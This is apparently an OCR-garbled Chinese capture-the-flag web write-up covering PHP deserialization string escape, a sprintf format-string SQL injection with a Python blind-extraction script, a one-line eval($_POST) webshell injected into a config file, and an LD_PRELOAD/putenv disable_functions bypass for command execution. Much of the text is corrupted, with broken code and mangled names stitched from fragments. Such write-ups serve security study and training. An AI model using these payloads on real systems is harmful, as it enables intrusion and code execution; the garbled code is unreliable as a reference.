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<?php
show_source(
error_reporting(9);
function write($data){
return str_replace(chr(0) . . chr(9),

}

function read($data){
return str_replace( . . chr(0) , $data);

}

class A{

public $username;

public $password;

function _ construct($a,$b){
$this->username $a;
$this->password $b;

)i

)i

class B{

public $b ;
function _ destruct(){
$c .$this->b;
echo $c;

)i

)i

class C{
public $c;

function _ toString(){

echo file_get contents($this->c);

return g

new A($_GET['a'],$_GET['b']);

unserialize(read(write(serialize(%$a))));
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Jelass B
public 5b ="gay';
k| function __ destruct(){
Sc = 'a'.S5this->b;
echo Sc;

Jelass Cf
public Sc;
] function  tosString() {
//flag.php
echo file_get_pontents(5thi5—>c];
return 'nice’;
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public $b;

}

class C{
public $c

new B();

new C();

echo serialize($a);

?>

FFILEI N AT

0:1:"B":1:{s:1:"b";0:1:"C":1:{s:1:"c";s:8:"flag.php";}}

IRBAVEHH X BN AL £ 1S

2 O:1"A2:s:8:"username™;s:1:"1";5:8:" password”;s:55:"O: 1:"B": 1:{s:1:"b";0:1:"C": 1:{s:1:" ¢ ";6:8:"flag.php™;}}";}
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$b = unserialize(read(write(serialize(3a)))):
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function write($data) {
return str replace(chr(0) . '*' . chr(0), '"“0\ONOD', Sdata);

}

function read(Sdata) {
return str replace('\0.0\0', chx(0) . "*' . chr(0) , S5data);

}
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flag.php

01 :'A":2:{5:8:'username";s:48:“********";é:S:"password“;5:85:"a';s:B:“password“;0:1 CBU1s1:"b 0 Ci s 1" s:8:  flag.php " 11s:0:7 " 6:0™ " Janice
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select * from user where user='$user' and passwd='%s'
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select * from user where user='nd passwd="and 1=1 #'

l_‘_?f D:\phpStudy\PHPTutoriahWWwhanheng\web2\test.php - Notepad ++ - O
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<?php
2 Suser = '%15';
$sqgql = "select * from user where user='$user' and passwd='%s'";
4 Sargs = 'and 1=1 #';
5 eche sprintf ( S$sql, Sargs);
2>

UK %ISK RS SHEF T, NTSEBRUUT ¥ CR5 SHEN FTEmES R, 38 T or AT LA R BCR#ETsqREA

payload

user=%1$&passwd="1"1#

WMEFH, RHEAEMI/RKER
BRHAMRAMIREE
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user=%1%$&passwd="(ascii(substr((user),1,1))>1)#

E & Gpayload


https://blog.csdn.net/weixin_41185953/article/details/80485075

user=%1%$&passwd="(ascii(substr((passwd),1,1))>1)#

expil T

import requests

import time

(1,1000):
time.sleep(0.06)
low 32
high =128
mid (low+high)//2
while(low<high):

payloadl
temp = { : : payloadil}

r = requests.post(url,data=temp)
print(low,high,mid, )
if in r.text:
low mid+1
else:
high mid
mid =(low+high)//2
if(mid 32 mid 127):
break
password (mid)
print(password)

print( ,password)

F 4 admin

iord= admin

(i,mid)
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<?php
error_reporting(9);
session_save_path(

session_start();

require_once

$shell= addslashes($ GET[

$file = file get contents( ;
$file = preg_replace( {$shell} , $file);

file put contents(

);
highlight file(dirname(__FILE_ ).
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http localhost:9090/update.phprapi
http localhost:9090/update.phprapi=$0

WSRPI = '"SRPI = ';phpinfo();':';

T«:?php
?>
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payload

?shell=;eval($_POST[penson]);
?shell=%$0

B
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Path Not Found Or No Permission!

o o N
Path Not Found Or No Permission!
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HEAEHLD_PRELOAD & putenv():
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462 %& F phpinfo

set time_limitini_set,pcntl_alarm,pentl fork, pentl wa
itpid,pentl wait,pentl wifexited, pentl wifstopped,pc
ntl_wifsignaled,pcntl wifcontinued, pentl wexitstatus
;pentl wtermsig,pentl wstopsig,pentl_signal,pentl si
gnal get handler,pcntl_signal _dispatch,pentl get las
t_error,pcntl_strerror,pentl_sigprocmask, pentl_sigwai
tinfo,pentl_sigtimedwait,pentl_exec,pentl_getpriority
,pentl_setpriority, pentl_async_signals,system,exec,sh
ell_exec,popen,proc_open,passthru,symlink link,sysl
og,imap_open,!d,mail.error_log,dl,FFl:cdef debug b
acktraceimap_mail,mb_send mail

set time_limitini_set,pcntl_alarm,pentl fork,pentl wa
itpid,pentl wait,pentl wifexited, pentl wifstopped,pc
ntl_wifsignaled,pcntl wifcontinued, pentl wexitstatus
;pentl wtermsig,pentl wstopsig,pentl_signal,pentl_si
gnal get handler,pcntl_signal dispatch,pcntl_get las
t_error,pcntl_strerror,pentl_sigprocmask,pentl_sigwai
tinfo,pentl_sigtimedwait,pentl_exec,pentl_getpriority
,pentl_setpriority, pentl_async signals,system,exec,sh
ell_exec,popen,proc_open,passthru,symlink link,sysl
og,imap_open,Id,mail.error_log,dl,FFl:cdef debug b
acktraceimap_mail,mb_send mail

Off

Off

2 T mail, BXFEFEphpinfo, FRIAAgnupglE, "LAFIRX— &, RiETseT

B%
AR SHSCm, LRI
pocIC IR (4 LT I SER S T (RESRRA ...

$cmd = $ GET[ 1;

$out_path = $ GET[ 1;
$evil cmdline = $cmd . . $out_path .
echo . $evil cmdline .

putenv ( . $evil cmdline);

$so_path

putenv (

$_GET[ 1
. $so _path);

$res = gnupg init();
gnupg_seterrormode($res, GNUPG_ERROR_WARNING);
$info

echo ;

gnupg_keyinfo($res, )

var_dump($info);

echo ;
echo

unlink($out path);

A& EHUAT Llgetshell T

. nl2br(file get contents($out path)) .
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bin
boot
dev
etc
flag
home
lib
lih64
media
mnt
opt

2 Eflaghi AT
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